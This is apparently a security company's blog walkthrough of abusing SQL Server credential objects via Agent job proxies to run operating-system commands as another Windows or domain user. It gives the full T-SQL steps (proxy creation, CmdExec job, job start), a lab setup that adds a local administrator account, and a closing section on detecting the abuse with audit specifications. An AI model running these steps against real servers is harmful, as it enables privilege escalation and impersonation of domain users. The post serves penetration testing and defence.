Hijacking SQL Server Credentials using Agent Jobs for Domain Privilege Escalation
In this blog I’ll introduce SQL Server credential objects and discuss how they can be abused by threat actors to execute code as either a SQL Server login, local Windows user, or Domain user. I’ll also cover how to enable logging that can be used to detect the associated behavior. This should be interesting to penetration testers, red teamers, and DBAs looking for legitimate authentication work arounds.
The Scenario
Let’s start by painting a picture of a common scenario and the problem we are trying to solve with this technique.
- You are a penetration tester or red teamer.
- You have obtained sysadmin privilege on a SQL Server instance through a common attack vector, such as SQL Injection, weak password, excessive privilege, or misconfigured SQL Server link.
- You can execute commands and code on the host operating system in the context of the SQL Server service account using a variety of techniques like xp_cmdshell, custom CLRs, agent jobs, etc.
- The problem is that the SQL Server service account is configured to run as NT Service\MSSQLSERVER, which is an account with limited privileges on the operating system. As testers we want local administrator privileges at a minimum and Domain Admin if we are lucky. So, we need to find a workaround.
- Given the limitations of the NT Service\MSSQLSERVER account, our next step is often attempting to escalate privileges locally. There are many OS-centric approaches to privilege escalation in Windows including, but not limited to #AllThePotatoes. However, I wanted to consider how SQL Server credentials could potentially be abused in this scenario if they have been configured on a SQL Server instance.
Let’s explore the idea.
What is a Credential Object in SQL Server?
Credentials are objects in SQL Server that store information, such as usernames and passwords, which can be used to authenticate to external resources like other SQL Servers, file shares, or web services, and execute processes/tasks in the context of another user. Credential types include SQL Server logins, local Windows users, and Active Directory domain users.
Some common subsystems in SQL Server that use credentials include:
- Agent Jobs
- SQL Server Integration Services (SSIS)
- SQL Server Reporting Services (SSRS)
- Linked Servers
- Database Mail
- Service Broker
- Replication
There are many legitimate use cases for credential objects in SQL Server, but like all stored authentication tokens, they can be targeted and abused by threat actors.
How can I Recover the Usernames and Passwords Stored in Credential Objects?
Obtaining cleartext passwords can be incredibly useful during privilege escalation. So how do we recover them from the SQL Server credential objects? The big hurdle is encryption. The information stored in credential objects is encrypted through the process described here.
Fortunately, Antti Rantasaari developed a PowerShell script in 2014 that decrypts the credentials stored in SQL Server objects. He also provided a detailed blog post outlining the decryption process. This script has since been ported to the Get-DecryptedObject function within the DBATools module by Chrissy LeMaire, who has maintained it actively.
To run Antti’s function, import his PowerShell function, and run the command below.
Get-MSSQLCredentialPasswords
However, before you start down that path you should know there are some requirements.
Available | Requirement | Description |
---|---|---|
Yes | One or more credential objects must have been created in the SQL Server instance to recover passwords. | In our scenario, we assume credential objects have been created. However, in the real world you will have to confirm that. |
Yes | Sysadmin privilege | In our scenario we have this. |
Yes | DAC connection | With sysadmin rights we can establish one through OS command execution or ad-hoc queries. |
No | Local Administrator Privileges | Local administrator privileges are required to read the encryption material from SOFTWARE\Microsoft\Microsoft SQL Server\[instancename]\Security\Entropy. Service\MSSQLSERVER account does NOT have access to that registry key. |
In our scenario, we do not meet all the necessary requirements to recover cleartext passwords from the credential objects. Antti Rantasaari’s technique is highly effective, but it requires that we already have local administrative privileges on the Windows system hosting the SQL Server instance. Without these administrative privileges, the technique cannot be applied. So, what are our options if we don’t have local administrative privileges?
How can I Abuse SQL Server Credential Objects without Local Administrator Access?
As discussed earlier, credential objects in SQL Server are designed to enable access to external resources and execute tasks in the context of another user. This means that we do not need to recover the cleartext usernames and passwords stored in credential objects to run code in another user’s context—we can leverage the functionality as it was designed.
Below is a process that can be used to “hijack” an existing credential object configured on the SQL Server instance, allowing you to execute code in the provided user’s context using SQL Server Agent jobs. No password or local OS administrator privileges required. 🙂
Lab Setup
- Install SQL Server.
- Create a local Windows user named testuser and make it a local administrator.
net user testuser P@ssw0rd! /add net localgroup administrators /add testuser
- Log into the SQL Server and create the credential object.
CREATE CREDENTIAL [MyCredential] WITH IDENTITY = 'yourcomputernamehere\testuser', SECRET = 'P@ssw0rd!';
Credential Impersonation Walkthrough
- Log into the SQL Server instance. Verify that you have sysadmin access.
SELECT IS_SRVROLEMEMBER('sysadmin') AS IsSysAdmin;
- List credentials. The query below will provide you with a list of credentials configured on the SQL Server instance. If any exist, you’re halfway there.
SELECT * FROM sys.credentials
- List proxy accounts. Proxy accounts are tied to the credential object and used by the agent jobs. Leveraging an existing proxy account can reduce the likelihood of detection.
USE msdb; GO SELECT proxy_id, name AS proxy_name, credential_id, enabled FROM dbo.sysproxies; GO
- Create a proxy account. If a proxy account doesn’t already exist for the credential object we want to abuse/impersonate, then we can create one and assign it the required privileges. For more information on proxy accounts check out https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-sql-server-agent-proxy?view=sql-server-ver16.
USE msdb; GO EXEC sp_add_proxy @proxy_name = N'MyCredentialProxy', -- Name of the proxy @credential_name = N'MyCredential'; -- Name of the existing credential EXEC sp_grant_proxy_to_subsystem @proxy_name = N'MyCredentialProxy', @subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem
- Verify the proxy account was created.
USE msdb; GO SELECT proxy_id, name AS proxy_name, credential_id, enabled FROM dbo.sysproxies; GO
- Create an Agent job to execute your desired code or commands on the operating system. Available default options include PowerShell, VBScript, JScript, and CMDEXEC. Ensure that the job is configured with the appropriate proxy account. In the proof-of-concept example below, the process simply creates a file named whoami.txt in the C:\Windows\Temp\ folder to demonstrate that the process was executed in the proxy user’s context.
USE msdb; GO -- Create the job EXEC sp_add_job @job_name = N'WhoAmIJob'; -- Name of the job -- Add a job step that uses the proxy to execute the whoami command EXEC sp_add_jobstep @job_name = N'WhoAmIJob', @step_name = N'ExecuteWhoAmI', @subsystem = N'CmdExec', @command = N'c:\windows\system32\cmd.exe /c whoami > c:\windows\temp\whoami.txt', @on_success_action = 1, -- 1 = Quit with success @on_fail_action = 2, -- 2 = Quit with failure @proxy_name = N'MyCredentialProxy'; -- The proxy created earlier -- Add a schedule to the job (optional, can be manual or scheduled) EXEC sp_add_jobschedule @job_name = N'WhoAmIJob', @name = N'RunOnce', @freq_type = 1, -- 1 = Once @active_start_date = 20240820, @active_start_time = 120000; -- Add the job to the SQL Server Agent EXEC sp_add_jobserver @job_name = N'WhoAmIJob', @server_name = N'(LOCAL)';
- Use the query below to verify that the proxy account is being used by the Agent. The query will also list all other Agent jobs that are configured to run using proxy accounts.
USE msdb; GO SELECT jobs.name AS JobName, steps.step_id AS StepID, steps.step_name AS StepName, proxies.name AS ProxyName, ISNULL(credentials.name, 'No Credential') AS CredentialName, ISNULL(credentials.credential_identity, 'No Identity') AS IdentityName FROM msdb.dbo.sysjobs AS jobs JOIN msdb.dbo.sysjobsteps AS steps ON jobs.job_id = steps.job_id JOIN msdb.dbo.sysproxies AS proxies ON steps.proxy_id = proxies.proxy_id LEFT JOIN sys.credentials AS credentials ON proxies.credential_id = credentials.credential_id WHERE steps.proxy_id IS NOT NULL ORDER BY jobs.name, steps.step_id;
- Execute the Agent job so that a process will be started in the context of the proxy account and execute your code/command.
EXEC sp_start_job @job_name = N'WhoAmIJob';
- Confirm execution by reviewing the c:\windows\temp\whoami.txt file contents.
So, to recap, we were able to execute commands on the host operating system using the credentials without needing to know the associated username or password. However, at this point, if you were able to impersonate a user with local administrative privileges you can also recover the cleartext username and password from configured credential objects using Antti’s technique.
Detection and Hunting Opportunities
The previous section was great for attackers, but not so great for defenders. Below is an overview of some detection opportunities for the good guys.
Data Source: Application Logs
Detection Strategy: Behavior
Detection Concept: To detect abuse of credential objects using proxy accounts, create server and database audit specifications that can identify when a proxy account is created by monitoring for the execution of the ‘sp_add_proxy’ and ‘sp_grant_proxy_to_subsystem’ stored procedures. SQL Server can also be configured to send those events to the Windows Application log where monitoring can be enabled for event ID 33205.
Known Detection Consideration: Some database administrators may use credentials and proxy accounts for legitimate purposes, but it should not happen at a regular cadence.
Detection Configuration Instructions:
- Create the Server Audit.
Use master CREATE SERVER AUDIT [ProxyAccountAudit] TO APPLICATION_LOG WITH (ON_FAILURE = CONTINUE); GO
- Create the Database Audit Specification. This captures server-level and database-level changes in the msdb database.
USE msdb; GO CREATE DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec] FOR SERVER AUDIT [ProxyAccountAudit] ADD (EXECUTE ON OBJECT::[dbo].[sp_add_proxy] BY [dbo]), ADD (EXECUTE ON OBJECT::[dbo].[sp_grant_proxy_to_subsystem] BY [dbo]) WITH (STATE = ON); GO
- Enable the specification.
Use master GO ALTER SERVER AUDIT [ProxyAccountAudit] WITH (STATE = ON); GO Use msdb GO ALTER DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec] WITH (STATE = ON); GO
- If you rerun the proxy account creation steps and review the Windows Application Log for event ID 33205, you should see instances of the ‘sp_add_proxy’ and ‘sp_grant_proxy_to_subsystem’ stored procedure execution.
Wrap Up
If you’d like to explore my previous offensive security work related to SQL Server, you can find it at powerupsql.com. The site includes the PowerUpSQL code, SQL attack templates, Detection Templates, privilege escalation cheatsheets, blogs, and presentations focused on hacking SQL Server.
Note: I have not attempted to test this technique against Azure SQL Databases yet, but my preliminary research indicates credentials are not supported.
PS: A big thank you to Brian from 7 Minute Security (@7MinSec – 7minsec.com) for outlining the scenario/problem space that led to this solution.
Authors:
Explore more blog posts
Part 1: Ready for Red Teaming? Intelligence-Driven Planning for Effective Scenarios
Take time for dedicated planning and evaluation ahead of red team testing to prepare your organisation for effective red team exercises.
The Strategic Value of Platformization for Proactive Security
Read about NetSPI’s latest Platform milestone, enabling continuous threat exposure management (CTEM) with consolidated proactive security solutions.
Backdooring Azure Automation Account Packages and Runtime Environments
Azure Automation Accounts can allow an attacker to persist in the associated packages that support runbooks. Learn how attackers can maintain access to an Automation Account.